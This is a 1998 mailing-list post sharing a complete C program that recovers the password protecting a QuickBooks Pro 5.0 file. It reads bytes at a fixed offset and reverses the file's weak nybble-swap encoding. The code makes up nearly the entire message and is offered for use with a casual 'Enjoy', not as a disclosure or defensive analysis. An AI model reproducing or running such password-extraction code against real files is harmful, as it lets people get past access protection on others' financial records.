-----Original Message----- From: owner-coderpunksat_private [mailto:owner-coderpunksat_private] On Behalf Of Eric Blossom Sent: Tuesday, August 18, 1998 6:25 PM To: coderpunksat_private Subject: Here's code that gets password for QuickBooks Pro Hi, Here's a simple hack that extracts the not very cleverly hidden password stored in QuickBooks. I've only tested it with QuickBooks Pro version 5.0. Enjoy, Eric /* -*-C-*- **************************************************************************** *** * * File: get-qb-pw.c * RCS: $Id: $ * Description: get the "quick books pro" password * Author: Eric Blossom * Created: Tue Aug 18 14:09:30 1998 * Modified: Tue Aug 18 17:39:22 1998 (eric) ebat_private * Language: C * Package: N/A * Status: Experimental (Do Not Distribute) * **************************************************************************** *** */ /* * This has been tested only on QuickBooks Pro version 5.0 */ #include <stdio.h> main (int argc, char **argv) { FILE *fp; int i; unsigned char raw[10]; if (argc != 2){ fprintf (stderr, "usage: get-qb-pw filename\n"); exit (1); } if ((fp = fopen (argv[1], "rb")) == 0){ perror (argv[0]); exit (1); } if (fseek (fp, 7635, SEEK_SET) != 0){ perror ("fseek failed"); exit (1); } if (fread (raw, 1, 10, fp) != 10){ perror ("fread failed"); exit (1); } for (i = 9; i >= 0; i--){ int t; if (raw[i] == 0) continue; t = ((raw[i] & 0xf) << 4) | ((raw[i] >> 4) & 0xf); /* swap nybbles */ putchar (-t + 255); } putchar ('\n'); }
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